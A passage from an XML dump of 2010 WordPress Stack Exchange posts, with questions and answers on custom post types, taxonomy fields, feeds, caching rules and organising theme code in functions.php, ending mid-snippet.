CommentCount="1" />
  <row Id="1395" PostTypeId="1" AcceptedAnswerId="1407" CreationDate="2010-09-06T04:28:25.337" Score="2" ViewCount="1337" Body="&lt;p&gt;I am looking to achieve something which I figured would be fairly simple to accomplish but it seems there are no real examples available to achieve my needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Essentially I have a custom post type of &quot;Articles&quot; for this custom post type I have a new taxonomy which I have registered which was created so that source publications can be added.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal was to be able to add an article through this custom post type and then select the applicable &quot;source publication&quot; from the term list so I could display where the article came from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the problem I am having seems to be simple... All I am trying to do is add some additional fields to the page where you can enter each taxonomy term. In this case I would like to add a field for &quot;URL&quot; and include an image for each source so I can add a logo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the question here is... how would I go about adding an additional field to each term?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am assuming if wordpress does not allow for this functionality naively that somehow the &quot;description&quot; field could be utilized as a type of custom fields area and thus that the data can be stored there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I am trying to of course extract the data out and display it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to customize the taxonomy column titles in case anyone is interest in the same way that columns can be modified for custom post types like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM TAXONOMY COLUMNS FOR CONTENT SOURCES&#xA;   add_filter(&quot;manage_edit-content_sources_columns&quot;, 'content_sources_columns');    &#xA;   function content_sources_columns($content_sources_columns) {&#xA;    $new_columns = array(&#xA;        'cb' =&amp;gt; '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;',&#xA;        'name' =&amp;gt; __('Name'),&#xA;//      'source_image' =&amp;gt; '',&#xA;        'description' =&amp;gt; __('URL'),&#xA;        'slug' =&amp;gt; __('Slug'),&#xA;        'posts' =&amp;gt; __('Posts')&#xA;        );&#xA;    return $new_columns;&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2011-08-16T20:27:37.230" Title="Adding Custom Field to Taxonomy Input :Panel" Tags="&lt;custom-field&gt;&lt;admin&gt;&lt;custom-taxonomy&gt;" AnswerCount="4" FavoriteCount="3" />
  <row Id="1396" PostTypeId="1" AcceptedAnswerId="1409" CreationDate="2010-09-06T05:20:07.697" Score="1" ViewCount="169" Body="&lt;p&gt;I have a feeling this is a bug.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you create a new custom post type it does not seem possible to modify the first submenu item text. I am referring to the link which allows you to view the post list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For what I can tell it just seems to be duplicating the name name of the main post type menu which was created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how to modify this text so that I can have the main menu element says &quot;Articles&quot; and the post list submenu name to say &lt;em&gt;&quot;Manage Articles&quot;&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was under the impression that &lt;code&gt;&quot;edit_item&quot;&lt;/code&gt; would control the text to be displayed in te submenu but for some reason this is not registering.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am currently using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//////////////////////////////////////////////////////////////////////////////&#xA;// CUSTOM POSTTYPE FOR -- ARTICLES  &#xA;//////////////////////////////////////////////////////////////////////////////&#xA;&#xA;add_action('init', 'articles');&#xA;function articles() {&#xA; register_post_type('articles', array(&#xA;  'labels' =&amp;gt; array(&#xA;   'name'   =&amp;gt; __('Articles'),&#xA;   'singular_label'  =&amp;gt; __('Article'),&#xA;   'new_item'   =&amp;gt; __('Add Article'),&#xA;   'add_new'   =&amp;gt; __('Add Article'),&#xA;   'add_new_item'  =&amp;gt; __('Add Article'),&#xA;   'edit'   =&amp;gt; __('Edit Article'),&#xA;   'edit_item'   =&amp;gt; __('Edit Article'),&#xA;   'view'   =&amp;gt; __('View Article'),&#xA;   'view_item'   =&amp;gt; __('View Article'),&#xA;   'search_items'  =&amp;gt; __('Search Articles'),&#xA;   'not_found'   =&amp;gt; __('No Articles Found'),&#xA;   'not_found_in_trash' =&amp;gt; __('No Articles Found in Trash'),&#xA;   ),&#xA;  'supports' =&amp;gt; array(&#xA;   'thumbnail',&#xA;   'title',&#xA;   'editor',&#xA;   'author',&#xA;   'revisions',&#xA;   ),&#xA;  'rewrite' =&amp;gt; array( &#xA;   'slug'   =&amp;gt; 'articles', &#xA;   'with_front'   =&amp;gt; false,&#xA;   ),&#xA;  'rewrite'    =&amp;gt; true,&#xA;  'can_export'    =&amp;gt; true,&#xA;  'show_ui'    =&amp;gt; true,&#xA;  'menu_position'   =&amp;gt; 3,&#xA;  'public'    =&amp;gt; true,&#xA;  'query_var'    =&amp;gt; true,&#xA;  'publicly_queryable'  =&amp;gt; true,&#xA;  'exclude_from_search'  =&amp;gt; false,&#xA;  'capability_type'   =&amp;gt; 'post',&#xA;  'hierarchical'   =&amp;gt; false,&#xA; ));&#xA; }&#xA;&#xA;&#xA;add_filter('manage_edit-articles_columns', 'add_new_articles_columns');&#xA;function add_new_articles_columns($articles_columns) {&#xA; $new_columns['cb']     = '&amp;lt;input type=&quot;checkbox&quot; /&amp;gt;';&#xA; $new_columns['article_thumbnail']   = _x('Image', 'column name');&#xA; $new_columns['title']    = _x('Article Title', 'column name');&#xA; $new_columns['article_excerpt']   = _x('Article Excerpt', 'column name');&#xA; $new_columns['article_source']   = _x('Article Source', 'column name');&#xA; $new_columns['author']    = __('Created by');&#xA; $new_columns['date']    = _x('Last Action', 'column name');&#xA; return $new_columns;&#xA; }&#xA;add_action('manage_posts_custom_column', 'manage_articles_columns', 10, 2);&#xA;function manage_articles_columns($column_name, $id) {&#xA; global $wpdb;&#xA; switch ($column_name) { &#xA;  case 'article_thumbnail':  &#xA;   the_post_thumbnail( array(50,50) );&#xA;   break; &#xA;  case 'article_excerpt': echo substr(get_the_excerpt(),0,500); &#xA;   break;&#xA;  case 'article_source':&#xA;         echo get_the_term_list($post-&amp;gt;ID, 'content_sources', '', ', ','');&#xA;   break;&#xA;  default: break;&#xA;  }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-06T11:26:38.003" LastActivityDate="2010-09-06T11:26:38.003" Title="Renaming Menu Item within Admin Menu Section for a Custom Post Type?" Tags="&lt;custom-post-types&gt;&lt;custom-menus&gt;&lt;admin&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="1397" PostTypeId="1" AcceptedAnswerId="1399" CreationDate="2010-09-06T05:21:25.980" Score="1" ViewCount="94" Body="&lt;p&gt;Is there anyway to create a special feed in WordPress that is on a delay that I can distribute to some of our content partners? I found some &lt;a href=&quot;http://wpengineer.com/publish-the-feed-later/&quot; rel=&quot;nofollow&quot;&gt;tutorials on how to delay your feed&lt;/a&gt; but it uses the conditional statement &lt;code&gt;is_feed&lt;/code&gt; and I don't want to apply this to all feeds, just one particular feed. Any advice?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt;  To clarify, I want to provide one full feed that publishes in real time (the native WP feed) and another full feed that displays the same content but is on a delay so it doesn't update until after the time period that I specify.&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="765" LastEditorDisplayName="" LastEditDate="2010-09-06T11:40:45.537" LastActivityDate="2010-09-06T20:25:43.327" Title="Delaying One RSS Feed in WordPress but Not the Others?" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="1" CommentCount="4" />
  <row Id="1398" PostTypeId="2" ParentId="1392" CreationDate="2010-09-06T05:27:20.380" Score="7" ViewCount="" Body="&lt;p&gt;Here is the code I always use whenever I setup a new wordpress blog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CUSTOM ADMIN FOOTER TEXT&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOMIZE ADMIN FOOTER TEXT&#xA;   function custom_admin_footer() {&#xA;    echo '&amp;lt;a href=&quot;http://www.netconstructor.com/&quot;&amp;gt;Website Design by NetConstructor, Inc.&amp;lt;/a&amp;gt;';&#xA;   }&#xA;   add_filter('admin_footer_text', 'custom_admin_footer');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;REMOVE VERSION INFO FROM THE HEAD OF FEEDS&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE VERSION INFO FROM THE HEAD OF FEEDS&#xA;   function complete_version_removal() { return ''; }&#xA;   add_filter('the_generator', 'complete_version_removal');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;REMOVE JUNK FROM THE HEADER OF PUBLIC WEBSITE PAGES&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE JUNK FROM THE HEADER OF PUBLIC WEBSITE PAGES&#xA;   remove_action('wp_head', 'rsd_link');&#xA;   remove_action('wp_head', 'wp_generator');&#xA;   remove_action('wp_head', 'feed_links', 2);&#xA;   remove_action('wp_head', 'index_rel_link');&#xA;   remove_action('wp_head', 'wlwmanifest_link');&#xA;   remove_action('wp_head', 'feed_links_extra', 3);&#xA;   remove_action('wp_head', 'start_post_rel_link', 10, 0);&#xA;   remove_action('wp_head', 'parent_post_rel_link', 10, 0);&#xA;   remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;REMOVE THE WORDPRESS UPDATE NOTIFICATION FOR ALL USERS EXCEPT SYSADMIN&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// REMOVE THE WORDPRESS UPDATE NOTIFICATION FOR ALL USERS EXCEPT SYSADMIN&#xA;   global $user_login;&#xA;   get_currentuserinfo();&#xA;   if ($user_login !== &quot;sysadmin&quot;) {&#xA;    add_action( 'init', create_function( '$a', &quot;remove_action( 'init', 'wp_version_check' );&quot; ), 2 );&#xA;    add_filter( 'pre_option_update_core', create_function( '$a', &quot;return null;&quot; ) );&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;CUSTOM ADMIN LOGOS:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// CUSTOM ADMIN LOGIN HEADER LOGO&#xA;   function my_custom_login_logo() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt; h1 a { background-image:url('.get_bloginfo('template_directory').'/images/excitesteps-login-logo.png) !important; } &amp;lt;/style&amp;gt;';&#xA;   }&#xA;   add_action('login_head', 'my_custom_login_logo');&#xA;&#xA;&#xA;&#xA;// CUSTOM ADMIN LOGIC HEADER LOGO&#xA;   add_action('admin_head', 'my_custom_logo');&#xA;   function my_custom_logo() {&#xA;    echo '&amp;lt;style type=&quot;text/css&quot;&amp;gt;#header-logo { background-image: url('.get_bloginfo('template_directory').'/images/excitesteps-icon.gif) !important; }&amp;lt;/style&amp;gt;';&#xA;   }&#xA;&#xA;&#xA;&#xA;// CUSTOM ADMIN LOGIN HEADER LINK &amp;amp; ALT TEXT&#xA;   function change_wp_login_url() {&#xA;    echo bloginfo('url');&#xA;   }&#xA;   function change_wp_login_title() {&#xA;    echo get_option('blogname');&#xA;   }&#xA;   add_filter('login_headerurl', 'change_wp_login_url');&#xA;   add_filter('login_headertitle', 'change_wp_login_title');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-06T05:27:20.380" CommunityOwnedDate="2010-09-06T05:27:20.380" CommentCount="11" />
  <row Id="1399" PostTypeId="2" ParentId="1397" CreationDate="2010-09-06T06:49:56.050" Score="1" ViewCount="" Body="&lt;p&gt;This tutorial explains how to create a custom feed: &lt;a href=&quot;http://yoast.com/custom-rss-feeds-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://yoast.com/custom-rss-feeds-wordpress/&lt;/a&gt;.&#xA;Put the add_filter (from the wpengineer tutorial) before the query_post, and a remove_filter('posts_where', 'publish_later_on_feed'); after it.&lt;/p&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-06T20:25:43.327" LastActivityDate="2010-09-06T20:25:43.327" CommentCount="4" />
  <row Id="1400" PostTypeId="1" AcceptedAnswerId="1438" CreationDate="2010-09-06T06:55:07.210" Score="0" ViewCount="1196" Body="&lt;p&gt;I just added &lt;a href=&quot;http://wordpress.org/extend/plugins/contact-form-7/&quot; rel=&quot;nofollow&quot;&gt;Contact Form 7&lt;/a&gt; to &lt;a href=&quot;http://widerdesign.com.tw/contact&quot; rel=&quot;nofollow&quot;&gt;my site&lt;/a&gt;. I'm using the default configuration (didn't change any setting). The mails are classified as spam in my Gmail inbox. Is there any way of making them go directly to the inbox?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2010-09-07T08:24:41.137" Title="Contact Form 7 Plugin send emails to my Gmail as spam" Tags="&lt;spam&gt;&lt;form&gt;&lt;contact&gt;" AnswerCount="3" />
  <row Id="1401" PostTypeId="1" AcceptedAnswerId="1434" CreationDate="2010-09-06T07:38:05.667" Score="1" ViewCount="768" Body="&lt;p&gt;I have just installed the Plugin &quot; &lt;a href=&quot;http://wordpress.org/extend/plugins/w3-total-cache/&quot; rel=&quot;nofollow&quot;&gt;W3 Total Cache&lt;/a&gt; &quot; .I have enabled permalinks too. Then it is showing a message &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Browser Cache feature is not&#xA;  operational. Your .htaccess rules&#xA;  could not be modified. Please verify&#xA;  /home/..../public_html/..../.htaccess&#xA;  has the following rules:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;SO I have pasted the code it has shown on with that message to my .htaccess file .But still it is showing the same error .Am I missing something?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is the code shown and I have added to .htaccess file &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; # BEGIN W3TC Browser Cache&#xA;&amp;lt;IfModule mod_deflate.c&amp;gt;&#xA;    &amp;lt;IfModule mod_setenvif.c&amp;gt;&#xA;        BrowserMatch ^Mozilla/4 gzip-only-text/html&#xA;        BrowserMatch ^Mozilla/4\.0[678] no-gzip&#xA;        BrowserMatch \bMSIE !no-gzip !gzip-only-text/html&#xA;        BrowserMatch \bMSI[E] !no-gzip !gzip-only-text/html&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;        Header append Vary User-Agent env=!dont-vary&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;    AddOutputFilterByType DEFLATE text/css application/x-javascript text/html text/richtext image/svg+xml text/plain text/xsd text/xsl text/xml image/x-icon&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;FilesMatch &quot;\.(css|js)$&quot;&amp;gt;&#xA;    FileETag None&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.1.1&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;FilesMatch &quot;\.(html|htm|rtf|rtx|svg|svgz|txt|xsd|xsl|xml)$&quot;&amp;gt;&#xA;    FileETag None&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.1.1&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;&amp;lt;FilesMatch &quot;\.(asf|asx|wax|wmv|wmx|avi|bmp|class|divx|doc|docx|exe|gif|gz|gzip|ico|jpg|jpeg|jpe|mdb|mid|midi|mov|qt|mp3|m4a|mp4|m4v|mpeg|mpg|mpe|mpp|odb|odc|odf|odg|odp|ods|odt|ogg|pdf|png|pot|pps|ppt|pptx|ra|ram|swf|tar|tif|tiff|wav|wma|wri|xla|xls|xlsx|xlt|xlw|zip)$&quot;&amp;gt;&#xA;    FileETag None&#xA;    &amp;lt;IfModule mod_headers.c&amp;gt;&#xA;         Header set X-Powered-By &quot;W3 Total Cache/0.9.1.1&quot;&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&amp;lt;/FilesMatch&amp;gt;&#xA;# END W3TC Browser Cache&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I have added the same code here.Please let me know If adding such a long code is inappropriate here .I will remove it from this question)&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:39:21.523" LastActivityDate="2011-02-16T08:39:21.523" CommunityOwnedDate="2010-09-06T07:38:05.667" Title="Error Message from W3 Total Cache when .htaccess Rules Cannot Be Modified?" Tags="&lt;plugins&gt;&lt;multisite&gt;&lt;htaccess&gt;&lt;plugin-w3-total-cache&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="1402" PostTypeId="2" ParentId="1390" CreationDate="2010-09-06T08:02:57.280" Score="9" ViewCount="" Body="&lt;h2&gt;Setting the order of meta boxes on post edit pages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You will need to remove the meta boxes, and add them again in the order you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To disable meta boxes: (customize to your needs, look at the metabox id in the html code to know which name you should use as first parameter of the functions)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_meta_boxes() {&#xA;&#xA;    remove_meta_box('postcustom', 'post', 'core');&#xA;&#xA;    remove_meta_box('commentsdiv', 'post', 'core');&#xA;&#xA;    ...&#xA;}&#xA;&#xA;add_action( 'admin_menu', 'my_remove_meta_boxes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After removing them, you can use the add_meta_box function to add them at new positions: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;. The order of the meta boxes depends on the order in which you call the add_meta_box function. E.g.: with the following code snippet, the comments meta box will be before the custom fields meta box.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_add_meta_boxes( $post_type, $post ) {&#xA;    if ( ('publish' == $post-&amp;gt;post_status || 'private' == $post-&amp;gt;post_status) &amp;amp;&amp;amp; post_type_supports($post_type, 'comments') )&#xA;        add_meta_box('commentsdiv', __('Comments'), 'post_comment_meta_box', $post_type, 'normal', 'core');&#xA;&#xA;    if ( post_type_supports($post_type, 'custom-fields') )&#xA;        add_meta_box('postcustom', __('Custom Fields'), 'post_custom_meta_box', $post_type, 'normal', 'core');&#xA;&#xA;    ...&#xA;}&#xA;&#xA;add_action( 'add_meta_boxes', 'my_add_meta_boxes' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to look at the file wp-admin/edit-form-advanced.php&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Setting which columns title show up on the post list page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You need to use the filter manage_{$post_type}_posts_columns. E.g.: the following snippet will remove the comments column.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_remove_columns( $posts_columns ) {&#xA;    unset( $posts_columns['comments'] );&#xA;&#xA;    return $posts_columns;&#xA;}&#xA;&#xA;add_filter( 'manage_post_posts_columns', 'my_remove_columns' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;Setting the default results to be shown on the post list page&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Use the filters 'edit_{$post_type}_per_page' and 'edit_posts_per_page'.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_edit_post_per_page( $per_page, $post_type ) {&#xA;&#xA;    $edit_per_page = 'edit_' . $post_type . '_per_page';&#xA;    $per_page = (int) get_user_option( $edit_per_page );&#xA;    if ( empty( $per_page ) || $per_page &amp;lt; 1 )&#xA;        $per_page = 1;&#xA;&#xA;    return $per_page;&#xA;}&#xA;&#xA;add_filter( 'edit_posts_per_page', 'my_edit_post_per_page' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To target a specific post type:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;use &lt;code&gt;add_filter( 'edit_{post type}_per_page', 'my_edit_post_per_page' );&lt;/code&gt; e.g. &lt;code&gt;add_filter( 'edit_post_per_page', 'my_edit_post_per_page' );&lt;/code&gt; for posts, &lt;code&gt;add_filter( 'edit_page_per_page', 'my_edit_post_per_page' );&lt;/code&gt; for pages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;or use a condition within your function. e.g.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;function my_edit_post_per_page( $per_page, $post_type ) {&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( $post_type == 'post' ) {&#xA;    $edit_per_page = 'edit_' . $post_type . '_per_page';&#xA;    $per_page = (int) get_user_option( $edit_per_page );&#xA;    if ( empty( $per_page ) || $per_page &amp;lt; 1 )&#xA;        $per_page = 1;&#xA;}&#xA;&#xA;&#xA;return $per_page;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="473" LastEditorUserId="473" LastEditorDisplayName="" LastEditDate="2010-09-12T12:06:53.270" LastActivityDate="2010-09-12T12:06:53.270" CommentCount="12" />
  <row Id="1403" PostTypeId="1" AcceptedAnswerId="1406" CreationDate="2010-09-06T08:38:45.057" Score="8" ViewCount="1564" Body="&lt;p&gt;The more customization I make to WordPress the more I start thinking about if I should be organizing this file or splitting it up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More specifically, if I have a bunch of custom functions which only apply to the admin area and others which just apply to my public website is there any reason to possibly include all admin functions within their own file or group them together?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would splitting them up into separate files or grouping them together possibly speed up a WordPress website or does WordPress/php automatically skip over functions which have an is_admin code prefix?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to deal with a large functions file (mine is 1370 lines long).&lt;/p&gt;&#xA;" OwnerUserId="479" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-06T10:22:47.773" LastActivityDate="2011-04-26T06:39:32.130" Title="Organizing Code in your WordPress Theme's functions.php File?" Tags="&lt;wp-admin&gt;&lt;admin&gt;&lt;customization&gt;" AnswerCount="2" FavoriteCount="7" />
  <row Id="1404" PostTypeId="2" ParentId="1396" CreationDate="2010-09-06T09:22:27.667" Score="2" ViewCount="" Body="&lt;p&gt;This is a semantics problem.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;'edit_item'   =&amp;gt; __('Edit Article'),&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is what is displayed when you edit the article, as in singular, just like the edit post, in the top title. The reason that the 'posts' listing menu item is called 'posts' and not 'edit posts' is because that would be misleading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do more than just edit posts, you can delete and move them around etc. The same is true of pages, or any other type of post you may have. This is why the same field that is used for the section menu is used for the initial submenu item also. There is real logic to it. Having said that there is nothing stopping you from setting &lt;code&gt;'show_ui'    =&amp;gt; true,&lt;/code&gt; to false and implementing it yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you really did want to edit it for whatever reason, you would need to add a hook to functions.php to process the menu afterwards, by searching for the necessary submenu entry in the array and changing its name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something along these lines would do, though it may need some modification:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function edit_menus() {&#xA;    global $menu;&#xA;    end ($menu);&#xA;    while (prev($menu)){&#xA;        $value = explode(' ',$menu[key($menu)][0]);&#xA;        if(strpos($menu[key($menu)], &quot;menu name&quot; )){&#xA;            $menu[key($menu)] = str_replace(&quot;menu name&quot;, &quot;newmenuname&quot;, $menu[key($menu)]);&#xA;            break;&#xA;        }&#xA;    }&#xA;}&#xA;add_action('admin_menu', 'edit_menus');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-06T09:22:27.667" />
  <row Id="1405" PostTypeId="2" ParentId="1395" CreationDate="2010-09-06T09:26:39.063" Score="0" ViewCount="" Body="&lt;p&gt;Your trying to modify the taxonomy by adding something that isn't a taxonomy, which will only confuse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you'll need to add a custom meta box to the article post type, and save the urls and image urls in custom fields. Then you would use the code to add columns in functions.php to look up those custom fields on the relevant post using &lt;code&gt;get_meta&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="736" LastActivityDate="2010-09-06T09:26:39.063" />
  <row Id="1406" PostTypeId="2" ParentId="1403" CreationDate="2010-09-06T10:38:17.147" Score="14" ViewCount="" Body="&lt;p&gt;If you are getting to the point where the code in your theme's &lt;code&gt;functions.php&lt;/code&gt; is starting to overwhelm you I would definitely say you are ready to consider splitting it up into multiple files. I tend to do that almost by second nature at this point. &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Use Include Files in your Theme's &lt;code&gt;functions.php&lt;/code&gt; File&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I create a subdirectory called &lt;em&gt;&quot;includes&quot;&lt;/em&gt; under my theme directory and segment my code into include files organized by what makes sense to me at the time (which means I'm constantly refactoring and moving code around as a site evolves.) I also rarely put any real code in &lt;code&gt;functions.php&lt;/code&gt;; everything goes in the include files; just my preference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to give you an example here's my test install that I use to test my answers to questions here on WordPress Answers. Every time I answer a question I keep the code around in case I need it again. This isn't exactly what you'll do for a live site but it shows the mechanics of splitting up the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;/*&#xA; * functions.php&#xA; * &#xA; */&#xA;require_once('includes/null-meta-compare.php');&#xA;require_once('includes/older-examples.php');&#xA;require_once('includes/wp-admin-menu-classes.php');&#xA;require_once('includes/admin-menu-function-examples.php');&#xA;require_once('includes/cpt-filtering-in-admin.php'); // WA: Adding a Taxonomy Filter to Admin List for a Custom Post Type?http://wordpress.stackexchange.com/questions/578/&#xA;require_once('includes/category-fields.php');&#xA;require_once('includes/post-list-shortcode.php');&#xA;require_once('includes/car-type-urls.php');&#xA;require_once('includes/buffer-all.php');&#xA;require_once('includes/get-page-selector.php');&#xA;require_once('includes/top-5-posts-per-category.php'); // http://wordpress.stackexchange.com/questions/907/&#xA;require_once('includes/alternate-category-metabox.php');  // http://wordpress.stackexchange.com/questions/951/&#xA;require_once('includes/remove-status.php');  // http://lists.automattic.com/pipermail/wp-hackers/2010-August/034384.html&#xA;require_once('includes/301-redirects.php');  // http://wordpress.stackexchange.com/questions/1027/removing-the-your-backup-folder-might-be-visible-to-the-public-message-generate&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;Or Create Plugins&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Another option it to start grouping your code by function and create your own plugins. For me I start coding in the theme's &lt;code&gt;functions.php&lt;/code&gt; file and by the time I get the code fleshed out I've moved most of my code into plugins.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;However NO Significant Performance Gain From PHP Code Organization&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;On the other hand structuring your PHP files is 99% about creating order and maintainability and 1% about performance, if that (organizing &lt;code&gt;.js&lt;/code&gt; and &lt;code&gt;.css&lt;/code&gt; files called by the browser via HTTP is a completely different case and has huge performance implications.) But how you organize your PHP code on the server pretty much doesn't matter from a performance perspective.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;And Code Organization is Personal Preference&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;And last but not least code organization is personal preference. Some people would hate how I organize code just as I might hate how they do it too. Find something you like and stick with it, but allow your strategy to evolve over time as you learn more and get more comfortable with it.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-06T10:38:17.147" CommentCount="1" />
  <row Id="1407" PostTypeId="2" ParentId="1395" CreationDate="2010-09-06T10:57:40.820" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@NetConstructor.com&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wrote this last month for somebody and it may address what you are looking for. It is an example you would modify, not a complete ready-to-use solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/*&#xA; * Example code showing how to hook WordPress to add fields to the taxonomny term edit screen.&#xA; * &#xA; * This example is meant to show how, not to be a drop in example.&#xA; *&#xA; * This example was written in response to this question:&#xA; *&#xA; *    http://lists.automattic.com/pipermail/wp-hackers/2010-August/033671.html&#xA; *&#xA; * By:&#xA; *&#xA; *    Mike Schinkel (http://mikeschinkel.com/custom-wordpress-plugins/)&#xA; *&#xA; * NOTE:&#xA; *&#xA; *    This could easily become a plugin if it were fleshed out.&#xA; *    A class with static methods was used to minimize the variables &amp;amp; functions added to the global namespace.&#xA; *    wp_options was uses with one option be tax/term instead of via a serialize array because it aids in retrival&#xA; *    if there get to be a large number of tax/terms types. A 